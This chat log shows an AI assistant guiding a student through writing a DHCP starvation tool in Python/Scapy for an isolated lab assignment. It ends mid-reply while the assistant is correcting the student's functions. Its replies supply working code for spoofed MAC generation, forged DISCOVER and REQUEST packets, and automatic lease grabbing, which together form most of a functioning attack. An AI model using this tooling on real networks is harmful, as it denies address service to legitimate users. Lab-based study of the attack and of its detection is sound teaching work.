I'll assume your group members are **Omar Kaaki** (you) and **Mostafa Jammoul** (from the group list). I'll mark authorship in the code comments so it meets the assignment requirement to show who wrote what.

> ⚠️ **Safety & ethics reminder (must follow):** Run these **only** on an isolated host-only/custom VMnet in VMware Workstation (do not run on any shared/production network). Take snapshots before testing. Include a note in your report that you used an isolated VMnet.

What you'll get in this message

1. Short architecture & which VM runs what
2. Attacker script (Python/Scapy) — DHCP starvation by randomizing BOOTP `chaddr`
3. Detector script (Python/Scapy + basic correlation) — alerts + JSON logging + rolling stats
4. How to run (commands, privileges), VMware settings you may need, and capture commands (tshark/tcpdump) for evidence
5. Recommended screenshots and what to show in the 3-page report

---

1) Lab architecture (VM roles)

- **Attacker VM** — Kali or Debian, runs `attacker_dhcp_starvation.py` (Scapy). (Author: **Omar Kaaki** — indicated in comments)
- **Legit DHCP Server VM** — Debian/Ubuntu running `isc-dhcp-server` (small pool e.g., `.100-.109`). Configure lease time short for demo.
- **Client VM(s)** — one or two Ubuntu/Windows machines configured for DHCP to show failures.
- **Detector VM (Monitor)** — Debian/Ubuntu running `dhcp_detector.py` (Scapy + tshark optional). (Author: **Mostafa Jammoul** — indicated in comments)
- All VMs connected to a **host-only/custom VMnet** (e.g., VMnet10). Monitor VM must be on same VMnet in promiscuous mode to capture DHCP traffic.

---

2) Attacker script — `attacker_dhcp_starvation.py`

- Behavior: repeatedly send DHCP DISCOVER then REQUEST with randomized `chaddr` values (spoofed client MACs). Uses `sendp()` (layer2) — on some setups hypervisor may override Ethernet `src` , but `chaddr` in BOOTP will still be randomized and server will grant leases.

- Marked author lines for assignment.

python

```python
#!/usr/bin/env python3
# attacker_dhcp_starvation.py
#
# Purpose: DHCP starvation demo (lab-only). Sends many DHCP DISCOVER/REQUEST
#          packets with randomized BOOTP chaddr values to exhaust DHCP pool.
#
# Usage (lab-only, root): sudo python3 attacker_dhcp_starvation.py --iface
vmnet10 --rate 200 --count 1000
#
# Author (attack tool): Omar Kaaki (Omar H. Kaaki)
# Note: Include this comment block in repo for assignment; mark any AI help
used.

import argparse, random, time, sys
from scapy.all import Ether, IP, UDP, BOOTP, DHCP, sendp, get_if_hwaddr, conf

def random_chaddr_bytes():
    # Return 16 bytes expected by BOOTP.chaddr; MAC in first 6 bytes then
padding zeros
    mac = [random.randint(0, 255) for _ in range(6)]
    mac_bytes = bytes(mac) + bytes(10)  # pad to 16 bytes
    return mac_bytes

def craft_discover(chaddr_bytes):
    bootp = BOOTP(op=1, chaddr=chaddr_bytes)
    dhcp = DHCP(options=[("message-type", "discover"), "end"])
    pkt = Ether()/IP(src="0.0.0.0", dst="255.255.255.255")/UDP(sport=68,
dport=67
```

no i dont want you to provide me with all the code, i want to craft my own, i ofund several github repos to take an idea:# - https://github.com/peppelinux/pyDHCPStarvator
- https://github.com/kamorin/DHCPig
- https://github.com/Kurlee/DHCP-Starvation
- https://github.com/yoelbassin/DHCP-starvation// i wrote this pseudo code inspired from them, can you tel me if they are corect what is missing and so on Start program

Initialize network interface
Initialize lists for fake MAC addresses, requests, and leases
Set counters for packets sent and leases obtained

Function generate_random_mac():
    create a random MAC address

 return it

Function make_discover(mac):
    build a DHCP DISCOVER packet using the MAC
    return packet and transaction ID

Function make_request:
    build a DHCP REQUEST packet with details

Function handle:
    if packet is DHCP and is an OFFER:
        extract server and offered IP
        get the MAC that was used
        send a DHCP REQUEST asking for that IP

Main execution:
    while running:
        create random MAC

 send DISCOVER

        update counters

Nice — your pseudocode already captures the high-level flow. I'll walk through it step-by-step, point out what's missing or fragile, and give precise, practical suggestions you should add when you implement the tool yourself. I **won't** give you a full working script (you said you want to craft your own), but I *will* give you everything you need to write robust, correct, and testable code.

Quick summary of main gaps

1. **Transaction bookkeeping** (XID → MAC mapping + timeouts) is missing.
2. **Proper DHCP/BOOTP field values** (htype, hlen, flags, chaddr length) are required.
3. **DHCP options** for DISCOVER and REQUEST need exact options (incl. server identifier in REQUEST).
4. **OFFER handling** must parse `yiaddr` and option 54 (server id), handle NAKs and conflicts.
5. **Rate control, retries, and timeouts** (don't blindly flood; need retransmit logic).
6. **Unique MAC generation rules** (valid format, locally-administered bit) and collision avoidance.
7. **Logging, statistics, and graceful shutdown** (send RELEASE / clean up leases you grabbed if needed).
8. **Root/privileges, interface selection, hypervisor/network settings** (forged transmits / promiscuous).
9. **Safety/ethical checks** and VMnet isolation enforcement.
10. **Optional performance/stealth features** (threads, randomized timing) — but be careful.

Now the detailed checklist and suggestions.

Detailed review & what to add

1) Initialization

Your idea: *Initialize network interface / lists / counters* — good. Add:

- Verify you're root (raw sockets require root).
- Validate the interface exists and confirm it's on the isolated VMnet.
- Optionally allow a `--dry-run` to test without sending packets.

2) Random MAC generator — make it correct

Your `generate_random_mac()` must:

- Return 6 bytes (or `"aa:bb:cc:dd:ee:ff"` string depending on how you build packets).
- Preferably set the **locally-administered** bit (bit 1 of the first octet) to avoid collisions with real vendor MACs and to be clearly non-OUI. Example: set first octet `0x02` (binary `00000010`) or `02:xx:...`.
- Avoid multicast MACs (lowest bit must be 0).
- Ensure uniqueness within session (store generated MACs in a set to avoid accidental reuse).
- Example constraints (pseudocode):
  - `mac_bytes[0] = (mac_bytes[0] & 0b11111110) | 0b00000010` → unicast + locally administered.

3) Transaction ID (XID) & bookkeeping

- Every DHCP exchange uses a 32-bit transaction ID (XID). You must generate a **random XID** and record the mapping:
  - `xid_map[xid] = {mac, timestamp, state='DISCOVER_SENT'}`
- When an OFFER arrives, match `pkt[BOOTP].xid` to the XID in your map to know which fake MAC to use in the REQUEST.
- Implement timeouts: if no OFFER within e.g. 3–5 seconds, mark as timed out and optionally retransmit or discard XID.

4) Building proper DHCP packets (BOOTP fields + options)

- **BOOTP fields** you must set at minimum:
  - `op` (1 for request), `htype` = 1 (Ethernet), `hlen` = 6, `hops` = 0
  - `xid` = random 32-bit
  - `secs` / `flags` (set broadcast flag `0x8000` if you expect server to respond by broadcast)
  - `chaddr` must be 16 bytes: first 6 = MAC bytes, rest padded with zeros.
- **DISCOVER options** typically include:
  - (53) `message-type: discover`
  - (55) `parameter-request-list` (list of options you want)
  - (61) `client-identifier` optional — could contain the MAC again
  - (255) `end`
- **REQUEST options** must include:

- (53) `message-type: request`
- (50) `requested IP address` (the `yiaddr` you got in OFFER)
- (54) `server identifier` (the IP from option 54 in OFFER) — critical to request from that server; otherwise some servers ignore the REQUEST
- other options as in discover (55)

- If you send REQUEST without option 54, the server might ignore/deny.

5) OFFER handling and REQUEST flow (important)

Your `handle` pseudocode says: if OFFER, send REQUEST. But be precise:

- When you receive an OFFER:
  - Match BOOTP.xid to your pending XID.
  - Extract `offered_ip = pkt[BOOTP].yiaddr` (or check DHCP option).
  - Extract `server_id = pkt[DHCP].options['server_id']` (option 54). If missing, you can use the source IP as server id.
  - Build a DHCPREQUEST for `requested_ip=offered_ip` and include `option 54 = server_id`.
  - Use the same `chaddr` and same `xid`? RFC uses new XID in REQUEST typically; but common practice is to reuse/choose a new XID — track reliably.
  - Wait for ACK or NAK. Parse DHCPACK (success) and DHCPNAK (failure). On ACK, note the lease, timestamp lease expiry (option 51).
- Edge cases:
  - Some servers require REQUEST to be broadcast — use flags accordingly.
  - Some servers will ignore REQUEST that doesn't include server id.

6) DHCPREQUEST without OFFER (optimization)

- Many starvation tools simply send many DHCPREQUESTs directly for different MACs requesting specific IPs (or requesting ANY). But for clean behavior follow RFC flow: DISCOVER→OFFER→REQUEST→ACK to be more realistic and ensure leases are recorded. If you skip OFFER, some servers may still allocate but unpredictable.

7) Handle DHCPACK / NAK / conflicts

- On DHCPACK: store `lease_info = {mac, ip, lease_time, server_id, tstamp}` and increment `leases_obtained`.
- If you get DHCPNAK or no ACK: consider retry or retire that fake MAC.
- Also detect DHCPDECLINE (if server sends conflicting ARP) and handle.

8) Timing, rate control, and retries

- Your pseudocode sends DISCOVER in a loop. Add:
  - A configurable **rate** (requests per second), not to overload local resources (and prevent making hypervisor unstable).
  - Retransmit logic: if no OFFER within `offer_timeout` seconds, retransmit DISCOVER up to N times.
  - A small random jitter between packets to avoid perfectly timed bursts (helps with realism).
  - Backoff if server responds with too many errors.

9) Threads / concurrency (optional)

- For speed you may spawn worker threads or use asyncio: one thread crafts/sends DISCOVERs, one listens for OFFER/ACK and performs REQUESTs. If using threads, protect shared maps (`xid_map`, `leases`) with locks.

10) Matching layer-2 vs DHCP `chaddr`

- Important: differentiate between **Ethernet frame src** and BOOTP `chaddr`.
  - In many hypervisors you cannot forge Ethernet src; but BOOTP `chaddr` is still under your control.
  - For the server, `chaddr` is what it uses for leases. For switch tracing, the Ethernet src or ingress port is what the net infra sees.
- Decide which you will randomize. For ethical, lab-only demo, randomizing `chaddr` is sufficient to illustrate server-side starvation.

11) Lease cleanup & ethical concerns

- When you obtain leases, you can:
  - Optionally send DHCPRELEASE to the server at the end of the test to return leases (good practice). Implement a `release_all()` on shutdown.
  - Or keep leases so server considers them occupied (this demonstrates exhaustion). For the assignment you might want both modes (exhaust vs polite).
- Include a `--stop-after` count or `--duration` argument so it auto-stops.

12) Logging & outputs (for your report)

Make the tool log (JSON or CSV) the major events:

- DISCOVER sent: `{xid, mac, timestamp}`
- OFFER received: `{xid, offered_ip, server, mac, timestamp}`
- REQUEST sent: `{xid, mac, requested_ip, server, timestamp}`
- ACK received: `{mac, ip, lease_time, server, timestamp}`
- Failures/timeouts

  Also dump PCAP snippets if requested for the report: capture relevant packets to file.

13) Detector-friendly metadata (helpful for demo)

- Add a small `client-id` or a DNS-name option in packets so your detector can easily parse and display the fake clients if you want. But be careful — client-id may make activity more detectable.

14) Safety checks & environment validation

- On start, check that your selected interface is on a host-only/custom VMnet and warn/abort if it looks like `eth0` on a bridged interface.
- Require explicit `--unsafe` flag to allow sending on non-isolated networks (but do not run that yourself — keep reminder in code and README).

15) Tests you should run locally

- Unit test random MAC generator (format & uniqueness).
- Test sending a single DISCOVER and capture with Wireshark on monitor VM; verify the server logs an OFFER for the `chaddr`.
- Test full flow (DISCOVER→OFFER→REQUEST→ACK) for one fake MAC and confirm `dhcpd.leases` shows allocation.
- Scale with small pool (10 addresses) and short leases to test exhaustion behavior.

Improved pseudocode (expanded, not full code)

```csharp
Start program
  require root
  parse CLI args: iface, rate, count, pool_target, timeout, release_on_exit
  validate interface is isolated VMnet

  initialize maps:
    xid_map = {}   # xid -> {mac, state, time}
    leases = {}    # mac -> {ip, lease_expiry, server}
    mac_set = set()

Function generate_random_mac():
    loop:
      mac = generate 6 random bytes
      set locally-admin bit, clear multicast bit
      if mac not in mac_set:
         add to mac_set
         return mac

Function make_discover(xid, mac):
    construct BOOTP with op=1, htype=1, hlen=6, xid=xid, chaddr=mac_bytes
    append DHCP options: (53,DISCOVER), (55, param-request-list), end
    return packet

Function make_request(xid, mac, requested_ip, server_id):
    construct BOOTP with chaddr, xid (or new xid per design)
    DHCP options: (53,REQUEST), (50, requested_ip), (54, server_id), (55,
params), end
    return packet

Listener thread (sniff):
    sniff UDP port 67/68
    for each dhcp packet:
       xid = pkt.boootp.xid
       if pkt is OFFER:
           if xid in xid_map and xid_map[xid].state == 'DISCOVER_SENT':
               extract offered_ip and server_id
               send REQUEST via make_request
               update xid_map[xid].state='REQUEST_SENT', store server_id
       elif pkt is ACK:
           match by mac or xid: update leases[mac] = {ip, lease_time}
       elif pkt is NAK:
           handle failure, mark mac as failed

Main loop:
  while not done:
```

```
        create xid = random_uint32()
        mac = generate_random_mac()
        pkt = make_discover(xid, mac)
        sendp(pkt)
        xid_map[xid] = {mac, 'DISCOVER_SENT', now}
        increment counters
        sleep according to rate with jitter
        prune xid_map entries older than OFFER_TIMEOUT (retransmit if desired)
        if leases_obtained >= target_count: break

On SIGINT/exit:
   if release_on_exit:
      for each lease in leases:
         send DHCP RELEASE to server
   write logs and exit
```

Extra implementation tips & gotchas

- **BOOTP `chaddr` padding**: in Scapy, `BOOTP(chaddr=mac_bytes)` expects 16 bytes; pass `mac_bytes + b'\x00'*10` if needed.
- **XID uniqueness**: use `random.getrandbits(32)`.
- **Broadcast vs unicast**: server sometimes returns unicast; ensure your sniff filter sees both broadcast and unicast.
- **Kernel interference**: your host kernel's DHCP client might interfere. Stop `dhclient` on the attacker interface or use a dedicated virtual interface.
- **Hypervisor restrictions**: if `sendp()` with forged Ether src is overridden, only `chaddr` will be spoofed — that's usually fine for starvation demo.
- **Permissions**: `tshark` / pcap may require group access or sudo.

What to include in your report & demo screenshots

1. `dhcpd.leases` showing many different `chaddr` assignments.
2. `tshark` capture on Monitor VM showing DISCOVER/OFFER/REQUEST/ACK flows and XID matching.
3. Host/vSwitch/switch MAC-table showing many MACs learned on a single port.
4. Detector output (if you implement one) showing alerts: high DISCOVER rate, many unique MACs.
5. A small diagram of VM topology and commands used.

Final notes on ethics & grading

- State in your repo README and the 3-page doc that you ran everything on an isolated VMnet, included snapshots, and included all AI prompts/outputs (assignment requirement).
- Mark code comments with **who wrote which function** (you said you and Mostafa are the team); do that in each file.

If you want, next steps I can do (pick one):

- Review a revised pseudocode / partial code you write and point out bugs and improvements.
- Provide a **detailed checklist** of tests (commands to run on each VM, tshark filters, expected outputs) so your demo runs cleanly.
- Provide a compact **DHCP packet fields reference** you can keep beside your editor when implementing.

Which would you like?

i also found these documents # -
https://stackoverflow.com/questions/25124500/sending-dhcp-discover-using-python-scapy
-
https://scapy.readthedocs.io/en/latest/api/scapy.layers.dhcp.html// but i still did not understnad the syntax of randomizing and crafting the random mac

Good — you're on the right track. Below I'll explain **exactly** how to generate valid random MAC addresses in Python, how to turn them into the format Scapy/BOOTP expects, and show minimal Scapy snippets that **only** demonstrate the syntax for putting that random

MAC into the DHCP `chaddr` field (and optionally as the Ethernet `src`). I won't give you a full tool — just the precise, copy-pasteable bits you need to understand and implement the randomization and packet construction yourself.

Important MAC rules (short)

- A MAC is 6 bytes (48 bits).
- **Multicast bit** = least significant bit of first octet — must be `0` for unicast.
- **Locally-administered bit** = second least significant bit of first octet — set this to `1` for lab/spoofed MACs (use `0x02` in first octet).
- Many tools use a MAC string like `"02:ab:cd:ef:01:02"` or raw bytes `b'\x02\xab\xcd\xef\x01\x02'`.
- **BOOTP** `chaddr` expects 16 bytes: first 6 = MAC, the remaining 10 bytes = zero padding.

---

1) Generate a valid random MAC (Python)

```python
import random

def random_mac_bytes():
    """Return 6-byte MAC with locally-administered bit set and multicast bit
clear."""
    first = random.randint(0x00, 0xff)
    # Clear multicast (LSB = 0), set locally-administered (bit 1 = 1)
    first = (first & 0b11111110) | 0b00000010
    rest = [random.randint(0x00, 0xff) for _ in range(5)]
    mac_bytes = bytes([first] + rest)  # 6 bytes
    return mac_bytes

def random_mac_str():
    """Return colon-separated MAC string suitable for Ether(src=...)."""
    b = random_mac_bytes()
    return ':'.join(f"{x:02x}" for x in b)

# Example usage:
print(random_mac_str())   # e.g. "02:7a:1c:bf:0d:8e"
```

`random_mac_bytes()` returns raw bytes (useful for BOOTP), `random_mac_str()` returns the typical colon string (useful for Ether()).

---

2) Convert MAC to BOOTP `chaddr` (16-byte field)

Scapy `BOOTP.chaddr` expects a 16-byte value. Convert like this:

```python
mac = random_mac_bytes()                # 6 bytes
chaddr = mac + (b'\x00' * 10)           # pad to 16 bytes
# verify length
assert len(chaddr) == 16
```

If you have a colon string `mac_s = "02:aa:bb:cc:dd:ee"`, get bytes via:

```python
mac_bytes = bytes.fromhex(mac_s.replace(':',''))
chaddr = mac_bytes + b'\x00'*10
```

---

3) Minimal Scapy examples — DISCOVER and REQUEST (only syntax parts)

These are short snippets to show how to plug `chaddr` into a DHCP packet. You'll still need to run as root.

DHCP DISCOVER (minimal):

```python
from scapy.all import Ether, IP, UDP, BOOTP, DHCP, sendp
# mac bytes and chaddr from previous functions
mac_bytes = random_mac_bytes()
chaddr = mac_bytes + b'\x00'*10       # 16 bytes
```

```
# If you want to also set Ethernet src to the same MAC (may be overridden by hypervisor)
eth_src_str = ':'.join(f"{x:02x}" for x in mac_bytes)

discover = (
    Ether(src=eth_src_str, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(op=1, chaddr=chaddr) /
    DHCP(options=[("message-type", "discover"),
                  ("param_req_list", [1,3,6,51,54]),   # example list
                  "end"])
)

# send as layer2 so BOOTP.chaddr is preserved:
sendp(discover, iface="vmnet10", verbose=True)
```

DHCP REQUEST (after you get an OFFER)

When sending REQUEST you must include the server identifier (option 54) and requested IP (option 50). Example skeleton:

```python
# Suppose you parsed an OFFER and have these:
offered_ip = "192.168.10.101"      # yiaddr from OFFER
server_id = "192.168.10.1"         # option 54 from OFFER

request = (
    Ether(src=eth_src_str, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(op=1, chaddr=chaddr) /
    DHCP(options=[("message-type", "request"),
                  ("requested_addr", offered_ip),
                  ("server_id", server_id),
                  ("param_req_list", [1,3,6,51,54]),
                  "end"])
)

sendp(request, iface="vmnet10", verbose=True)
```

Notes:

- `BOOTP(op=1, chaddr=chaddr)` — `chaddr` is the 16-byte value you created.
- Use `sendp()` (layer 2) rather than `send()` so the Ethernet frame is emitted as you wrote it.

---

4) Matching XID ↔ MAC

Generate and record a random XID per DISCOVER so you can match OFFER → REQUEST:

```python
import random
xid = random.getrandbits(32)
# include in BOOTP:
BOOTP(op=1, xid=xid, chaddr=chaddr)
```

When you sniff incoming DHCP packets, check `pkt[BOOTP].xid` to find which fake MAC the OFFER belongs to.

---

5) Practical gotchas & lab tips

- **Hypervisor may override Ether(src=...)**: Many VMs will not let you transmit arbitrary Ethernet source MACs unless "forged transmits" are allowed. But `BOOTP.chaddr` is under your control and sufficient to cause the DHCP server to allocate leases to many MACs.
- **Kernel DHCP client interference**: stop `dhclient` on the attacker interface or run the attacker on an interface dedicated to the experiment.
- **Promiscuous mode / capturing**: run your Monitor VM or host capture with `tshark -i vmnet10 -f "udp port 67 or 68"` to verify DISCOVER/OFFER/REQUEST/ACK. Filter `bootp` or `dhcp` in Wireshark/tshark.
- **Run as root**: raw sockets and `sendp()` require root privileges.
- **BOOTP padding**: always pad to 16 bytes or Scapy may error or behave unexpectedly.
- **Uniqueness**: keep a set of generated MACs if you want to avoid accidental reuse.

6) How to verify on the wire (example tshark filters)

- Capture DHCP packets:
  `sudo tshark -i vmnet10 -Y "dhcp" -V`
- Quick listing of BOOTP xids & chaddr:
  `tshark -r capture.pcap -Y "bootp" -T fields -e bootp.xid -e bootp.chaddr`

---

7) Example: full small function pack (put together)

```python
def make_chaddr_and_eth():
    mac_b = random_mac_bytes()                 # 6 bytes
    eth_src = ':'.join(f"{x:02x}" for x in mac_b)
    chaddr = mac_b + b'\x00'*10                # 16 bytes
    return eth_src, chaddr
```

Use `eth_src` if you can set Ethernet `src` and `chaddr` always in BOOTP.

---

8) Ethics & safety reminder

Only run spoofing / DHCP starvation experiments **inside an isolated VMnet** (host-only) — do **not** run on any shared or production network. Document your isolation steps in the README for the course.

If you want, I can now:

- Review a small implementation of **just** your MAC generation and BOOTP/chaddr handling (paste your function) and point out any correctness issues; **or**
- Give the exact `tshark` / `tcpdump` commands and display filters to capture the exact fields you'll need for screenshots (XID, chaddr, yiaddr, server_id).

Which do you want next?

how can i integrate xid in it, i found this in several repo .py files, plus deine the interfaces/ libraries

Nice — good focus. Below I'll explain exactly **how to generate & use XIDs**, how to **map XID ↔ fake MAC ↔ state**, what **Scapy** interfaces/libraries you need, and give a clean set of **function signatures** / small code snippets you can copy into your own implementation. I'll keep it modular so you can integrate XID handling into whatever structure you're building.

I won't give you a full attack program — instead you'll get the precise building blocks and best practices so your own code is robust, race-free, and easy to test.

---

1) Why XID matters (short)

- The DHCP **transaction id (XID)** is the 32-bit value used to correlate a client's DISCOVER (or REQUEST) with subsequent OFFER/ACK messages.
- You must generate a unique XID for each DISCOVER you send, and **record (xid → metadata)** so when an OFFER arrives you know which fake MAC and which pending transaction it belongs to.
- Without proper XID bookkeeping you won't reliably match OFFERs to the requests you sent (especially when many transactions are outstanding).

---

2) Libraries / interfaces you'll use

Install basics (Debian/Ubuntu):

```bash
sudo apt update
sudo apt install -y python3 python3-pip tshark tcpdump
pip3 install scapy
```

Key Python imports you'll use:

```python
```

```python
# packet crafting & sniffing
from scapy.all import Ether, IP, UDP, BOOTP, DHCP, sendp, sniff, conf

# utilities
import random
import time
import threading
import argparse
import logging
from collections import defaultdict
```

Purpose:

- **scapy.all** — build and send DISCOVER/REQUEST (use `sendp()` for layer2), sniff DHCP packets (`sniff()`), read `BOOTP.xid` , `BOOTP.chaddr` , `DHCP` options.
- **random.getrandbits(32)** — generate XIDs.
- **threading + locks** — protect shared maps (xid_map, leases) when listener & sender run concurrently.
- **tshark/tcpdump** — external captures for report screenshots.

---

3) How to generate XID (best practice)

- Use a cryptographically random 32-bit value and ensure uniqueness while the transaction is pending:

```python
import random

def gen_xid():
    return random.getrandbits(32)
```

- Avoid sequential XIDs; random reduces collisions and makes matching robust.

---

4) Bookkeeping data structures (thread-safe)

Use a dict to map XID → metadata and protect it with a lock:

```python
from threading import Lock

xid_lock = Lock()
xid_map = {}   # xid (int) -> { 'mac': mac_bytes, 'state': 'DISCOVER_SENT', 'ts': time(), 'retries': 0 }

def store_pending_xid(xid, mac):
    with xid_lock:
        xid_map[xid] = {'mac': mac, 'state': 'DISCOVER_SENT', 'ts': time(), 'retries': 0}
```

Keep another dict for active leases:

```python
leases = {}    # mac_str -> { 'ip': '192.168.x.y', 'lease_expiry': epoch, 'server_id': '...' }
leases_lock = Lock()
```

---

5) Minimal flow (what to do with XID)

1. Sender:
   - `xid = gen_xid()`
   - `mac = generate_random_mac()`
   - `store_pending_xid(xid, mac)`
   - `pkt = make_discover(xid, mac)` ← include XID in BOOTP
   - `sendp(pkt, iface=...)`
2. Listener (sniff callback):
   - When a DHCP packet is received, read `pkt[BOOTP].xid` → `rx_xid`
   - Lock and check `if rx_xid in xid_map` :
     - If OFFER: extract `yiaddr` & `server_id` , find associated `mac` , then craft/send `REQUEST` (include `requested_addr` and `server_id` options)
     - If ACK/NAK: update leases or mark failure

3. After ACK: remove XID from `xid_map`, add to `leases`.
4. Timeouts: A background thread should periodically scan `xid_map` and retransmit DISCOVER (or drop) if `ts + OFFER_TIMEOUT` exceeded.

---

6) Small snippets: make DISCOVER with XID and chaddr

python

```python
from scapy.all import BOOTP, DHCP, Ether, IP, UDP

def make_chaddr(mac_bytes):
    return mac_bytes + b'\x00'*10   # pad to 16 bytes

def make_discover(xid, mac_bytes):
    chaddr = make_chaddr(mac_bytes)
    pkt = (
      Ether(dst="ff:ff:ff:ff:ff:ff") /
      IP(src="0.0.0.0", dst="255.255.255.255") /
      UDP(sport=68, dport=67) /
      BOOTP(op=1, xid=xid, chaddr=chaddr) /
      DHCP(options=[("message-type", "discover"), ("param_req_list",
[1,3,6,51,54]), "end"])
    )
    return pkt
```

- Put `xid` into `BOOTP(xid=...)`.
- Use `sendp(pkt, iface=...)` to send at layer 2.

---

7) Sniffing & matching OFFERs to XID

Use `sniff()` with a callback that checks XID:

python

```python
def dhcp_callback(pkt):
    if BOOTP in pkt and DHCP in pkt:
        rx_xid = pkt[BOOTP].xid
        with xid_lock:
            meta = xid_map.get(rx_xid)
        if not meta:
            return
        # determine message type
        dhcp_opts = {k:v for k,v in pkt[DHCP].options if isinstance(k, str)}
        mtype = dhcp_opts.get('message-type')
        if mtype == 2:   # 2 == OFFER
            offered_ip = pkt[BOOTP].yiaddr
            server_id = dhcp_opts.get('server_id') or pkt[IP].src
            # now build request using meta['mac'], offered_ip, server_id
            send_request_for(xid=rx_xid, mac=meta['mac'],
requested_ip=offered_ip, server_id=server_id)
        elif mtype == 5: # 5 == ACK
            # update leases, etc.
            pass

# start sniffing in a thread
sniff_thread = threading.Thread(target=lambda: sniff(filter="udp and (port 67
or 68)", prn=dhcp_callback, store=0, iface=MONITOR_IF))
sniff_thread.daemon = True
sniff_thread.start()
```

Notes:

- `pkt[DHCP].options` is a list of tuples; convert to dict for easier access.
- DHCP message types: DISCOVER=1, OFFER=2, REQUEST=3, DECLINE=4, ACK=5, NAK=6.

---

8) Building & sending REQUEST tied to the XID

When you send REQUEST, you can reuse the same XID or generate a new one — **consistency helps** (simpler to reuse the same XID so you can match later ACK). Example:

python

```python
def make_request(xid, mac_bytes, requested_ip, server_id):
    chaddr = make_chaddr(mac_bytes)
    pkt = (
```

```
        Ether(dst="ff:ff:ff:ff:ff:ff") /
        IP(src="0.0.0.0", dst="255.255.255.255") /
        UDP(sport=68, dport=67) /
        BOOTP(op=1, xid=xid, chaddr=chaddr) /
        DHCP(options=[("message-type", "request"),
                      ("requested_addr", requested_ip),
                      ("server_id", server_id),
                      ("param_req_list", [1,3,6,51,54]),
                      "end"])
    )
    return pkt
```

After `sendp(request_pkt)`, update `xid_map[xid]['state']='REQUEST_SENT'` and `xid_map[xid]['ts']=time()`.

---

9) Timeouts & retries (recommended defaults)

- `OFFER_TIMEOUT = 3` seconds (wait for OFFER); retransmit DISCOVER up to `N` retries.
- `ACK_TIMEOUT = 3` seconds after sending REQUEST; retransmit REQUEST if no ACK.
- `CLEANUP_INTERVAL = 5` seconds for background cleanup thread that prunes stale XIDs and releases resources.

Implement a background function:

python

```
def cleanup_loop():
    while running:
        now = time.time()
        with xid_lock:
            for xid, meta in list(xid_map.items()):
                if meta['state']=='DISCOVER_SENT' and now - meta['ts'] >
OFFER_TIMEOUT:
                    if meta['retries'] < MAX_RETRIES:
                        # retransmit DISCOVER or mark retry
                    else:
                        del xid_map[xid]
        time.sleep(CLEANUP_INTERVAL)
```

---

10) Thread-safety & concurrency

- Use `Lock()` around any access to `xid_map` and `leases`.
- If you use many worker threads, consider `concurrent.futures.ThreadPoolExecutor` for limiting concurrency.
- Keep packet sending separate from sniff callback (sniff callback should be fast — offload heavy work to worker thread).

---

11) Interfaces / function signatures for your codebase

Design your functions like this to keep things modular:

text

```
generate_random_mac() -> bytes(6)
gen_xid() -> int
make_discover(xid:int, mac:bytes) -> scapy.Packet
send_discover(iface:str, pkt:Packet) -> None
listener_start(iface:str) -> None
dhcp_callback(pkt:Packet) -> None
send_request_for(xid:int, mac:bytes, requested_ip:str, server_id:str) -> None
handle_ack(pkt:Packet) -> None
cleanup_loop() -> None
release_leases() -> None
```

This makes unit testing and separation of concerns easy.

---

12) Parsing DHCP options reliably

`pkt[DHCP].options` is typically a list like `[('message-type', 2), ('server_id', '192.168.1.1'), ('end', None)]`. Convert to dict safely:

python

```
def dhcp_options_to_dict(dhcp_opts):
    opts = {}
    for opt in dhcp_opts:
        if isinstance(opt, tuple):
            key, val = opt
            opts[key] = val
        elif opt == 'end':
            break
    return opts
```

Then use `opts.get('message-type')`, `opts.get('server_id')`, `opts.get('lease_time')`.

---

13) Small debugging tips

- Start with a single DISCOVER and confirm you get an OFFER — use Wireshark/tshark to inspect XID and chaddr fields.
- Print sent XIDs and map sizes.
- Log packet summaries in `dhcp_callback` using `pkt.summary()` and print `pkt[BOOTP].xid`, `pkt[BOOTP].yiaddr`, `dhcp_opts`.

---

14) Security / safety reminder (again)

- Make sure `iface` is a host-only/custom VMnet. Validate programmatically:

python

```python
# simple check (heuristic):
if "vmnet" not in iface and "host-only" not in iface:
    raise SystemExit("Use a host-only or custom isolated interface only")
```

- Always include an explicit `--acknowledge-ethics` flag in your CLI to remind yourself.

Example: tiny end-to-end pseudo-flow using XID (condensed)

makefile

```makefile
xid = gen_xid()
mac = generate_random_mac()
store_pending_xid(xid, mac)
pkt = make_discover(xid, mac)
sendp(pkt)
# sniff() running in background -> on OFFER:
#   find rx_xid, lookup mac -> build and send REQUEST with same xid
# -> on ACK: record lease, remove xid mapping
```

If you want, I can now:

- review **one** of your concrete functions (paste your `gen_xid`, `store_pending_xid`, or `dhcp_callback`) and point out any bugs, or
- produce a **unit test plan** for your XID logic (small tests you can run without sending packets), or
- give the exact **tshark** display filter you should use to verify XID / chaddr / yiaddr in captured packets.

Which would be most helpful next?

i am forming these functions from several repos and from my pseudo code but its not running: def rand_mac():
    m=[0x00,0x0c,0x29, random.randint(0,255), random.randint(0,255), random.randint(0,255)]

def make_discover(mac):
    xid=random.randint(1,0xFFFFFFFF)
    pkt=(Ether(dst="ff:ff:ff:ff:ff:ff",src=mac)/
        IP(src="0.0.0.0",dst="255.255.255.255")/
        UDP(sport=68,dport=67)/
        BOOTP(chaddr=mac2str(mac),xid=xid,flags=0x8000)/
        DHCP(options=[("message-type","discover"),
                ("hostname",f"victim-

```
{random.randint(1000,9999)}"),

                    "end"]))
    return pkt,xid

def make_request(mac,ip,server,xid):
    return (Ether(dst="ff:ff:ff:ff:ff:ff",src=mac)/
            IP(src="0.0.0.0",dst="255.255.255.255")/
            UDP(sport=68,dport=67)\
            DHCP(options=[("message-type","request"),
                    ("requested_addr",ip),
                    ("server_id",server),
                    ("hostname",f"victim-
{random.randint(1000,9999)}"),
                    ("param_req_list",[1,3,6,15,28,51,58,59]),
                    "end"]))
```

Nice — you're almost there. Your errors are the usual mix of (1) not returning values from helper functions, (2) using the wrong MAC format for Scapy, and (3) missing/incorrect BOOTP layer in `make_request` and a stray line-continuation `\`. Below I give a corrected, minimal set of helper functions you can drop into your script, explain what I changed and why, and show a short example of how to send a DISCOVER and then match OFFER by XID.

> I won't give you a full attack program (I know you want to write your own). This gives the exact building blocks so your functions run and interoperate.

Key fixes & notes

1. `rand_mac()` **must return** the generated MAC.
2. Scapy `Ether(src=...)` expects a colon-separated string `"aa:bb:cc:dd:ee:ff"` (or bytes in some contexts). Use a canonical string for `Ether`.
